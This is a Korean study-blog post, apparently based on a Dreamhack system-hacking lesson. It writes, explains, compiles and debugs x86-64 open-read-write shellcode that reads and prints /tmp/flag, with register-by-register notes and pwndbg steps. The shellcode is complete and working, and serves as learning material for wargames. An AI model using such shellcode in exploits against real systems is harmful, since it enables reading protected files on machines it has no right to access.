용어 정리
익스플로잇 : 해킹 분야에서 상대 시스템을 공격하는 것. 상대 시스템에 침투하여 시스템을 악용하는 해킹
셸코드 : 익스플로잇을 위해 제작된 어셈블리 코드 조각.
셸(Shell) : 사용자가 운영체제와 상호작용할 수 있도록 하는 명령줄 인터페이스
파일 서술자 (fd) : 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자. 0번은 입력, 1번은 출력
orw 셸코드 작성
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
/tmp/flag 파일을 열고, 읽은 뒤 화면에 출력해주는 것을 어셈블리로 구현해보자.
(1) int fd = open("/tmp/flag", RD_ONLY, NULL)
첫 번째로 int fd = open("/tmp/flag", RD_ONLY, NULL); 부분 구현이다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
이게 드림핵에서 작성된 어셈블리 코드이다.
첫 번째로 해야할 것은 메모리에 /tmp/flag 를 올려야한다.
각 문자들 "/", "t", "m", .....들을 16진수로 표현하였을 때 총 9바이트가 나온다.
하지만 스택에는 8바이트씩 밖에 입력이 되지 않으므로 일부분을 잘라서 써야한다
그래서 이런식으로 push 하는 것 같다. 그리고, a가 있는 곳에 현재 rsp(스택포인터)가 위치하고 있다.
그 다음 확인해야할 부분은 mov rdi, rsp 부분인데, rsp의 값을 rdi에 대입한다는 코드이다. 목적지 인덱스 레지스터에 rsp(스택 포인터)를 대입하였다.
xor rsi, rsi : rsi(근원지 인덱스 레지스터)에 XOR을 하여 0을 만드는 것인데, O_RDONLY의 값이 0이라서 그렇게 설정한 것 같고,
xor rdx, rdx : rdx(데이터 레지스터)에 xor을 하여 0을 만드는 것인데, 파일 읽을때의 mode값 설정인 듯 하다
mov rax, 2: rax(누산 레지스터)에 2를 설정하는 것인데, open의 syscall 값인 2를 설정한 것이다.
그리고 syscall 을 한다.
(2) read(fd, buf, 0x30)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
위에서 syscall을 하면 반환값이 나오는데, 이는 rax에 저장된다. -> open으로 획득한 /tmp/flag 의 fd(파일 기술자)는 rax에 저장된다.
이를 rdi(목적지 인덱스 레지스터)에 저장하기 위해 mov rdi, rax 를 이용한다
그 다음, rsi(근원지 인덱스 레지스터)에는 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 거라고 되어 있는데(why?)
스택 포인트에서 0x30만큼 뺀 지점에서부터 데이터를 읽을 것이기 때문에 rsi-0x30을 계산하기 위해
mov rsi, rsp (rsi에 rsp를 대입), sub rsi, 0x30으로 계산을 완료하였다
그리고 0x30만큼 읽을거라고 rdx에 mov rdx, 0x30을 이용하여 0x30의 값을 대입하였다. rax 는 0을 대입하고 , syscall을 한다.
(3) write(1, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
표준 출력 1을 입력하여주고, read에서 사용한 값을 그대로 사용할 것이기 때문에
mov rdi =1 (펴준 출력)을 해주고, syscal을 위해 rax 1을 해준다
최종적으로 종합하면
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw 셸코드 컴파일 및 실행
위에서 작성한 셸코드 orw.S는 아스키로 작성된 어셈블리 코드 이므로, 기계어로 치환하면 CPI는 이해할 수 있으나, ELF(Execitable and Linkable Format) 형식이 아니므로 리눅스에서 실행될 수 없다. 고로 gcc 컴파일을 해보자.
(이제 드디어 vs 코드에서도 잘 깔아서 실행이 됨)
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이렇게 해놓고
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
이것 입력 후
$ gcc -o orw orw.c -masm=intel
$ ./orw
이걸 입력하니
결과값이 잘 나왔다.
확실히 가상머신에서 겨우 vscode 에서 되니까 매우매우 편하고 잘 작동한다.
orw 셸코드 디버깅
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
pwndbg>
b : break, 즉 orw를 gdb로 열고, run_sh()에 브레이크 포인터를 열었다.
그 후 , r(run)명령어를 입력하면 run_sh() 의 시작부분까지 코드가 작성되어서, push 0x67부분에서 멈춰있다.-> rip
rip는 스택 마지막 부분(제일 높은 주소) 인 것 같다
(1) int fd = open("tmp/flag", O_RDONLY, NULL)
첫 번째 syscall 이 위치한 run_sh+29에 break를 걸어서 인자를 확인하자
나머지는 드림핵
https://learn.dreamhack.io/50#7여기서 나온 그대로이다.
초기화되지 않은 메모리 영역 사용
가끔 알수없는 문자열이 출력되느 경우가 있다
이는 초기화되지 않은 메모리사용(Use of Uninitialzed Memory)이다.
이럴 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.
쓰레기값은 해커에 입장에서 쓰레기 값이 아님. 이 런 작업을 메모리 릭이라고 함.
에필로그
처음이라서 그런가, 조금 많이 어색하고 중간중간에 섞이는 게 많아서 잘 안 된 거 같고, 무엇보다 레지스터 해석하는 게 좀 힘들긴 하다. 좀 더 많이 연습해봐야겠다.
+ vs코드에서 실행이 되니 확실히 편하다
'보안 스터디 > 시스템 해킹' 카테고리의 다른 글
[드림핵/워게임] shell_basic (포너블/시스템해킹) (1) | 2024.01.27 |
---|---|
[드림핵/시스템해킹] Exploit Tech: Shellcode -2 (0) | 2023.12.31 |
[드림핵/시스템해킹] Tools : gdb -2 (0) | 2023.12.29 |
[드림핵 /시스템 해킹] pwndbg 설치하기 (Tools : gdb) (1) | 2023.12.28 |
[드림핵] Tools : gdb (시스템 해킹) (1) | 2023.12.20 |